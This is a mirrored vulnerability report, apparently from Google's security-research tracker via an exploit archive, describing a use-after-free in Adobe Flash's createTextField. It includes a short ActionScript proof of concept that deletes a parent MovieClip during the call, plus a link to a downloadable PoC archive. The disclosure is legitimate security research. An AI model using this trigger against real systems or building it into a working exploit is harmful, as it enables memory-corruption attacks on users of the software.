24 lines
No EOL
833 B
Text
24 lines
No EOL
833 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
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There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:
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_root-->l1-->l2-->l3
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If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:
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var l1 = this.createEmptyMovieClip("l1", 1);
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var l2 = l1.createEmptyMovieClip("l2", 1);
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ns = {toString: strfunc, valueOf: strfunc};
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var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);
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function strfunc(){
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l2.removeMovieClip();
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return "myname";
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}
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A sample SWF and fla are attached.
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Proof of Concept:
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/37873.zip |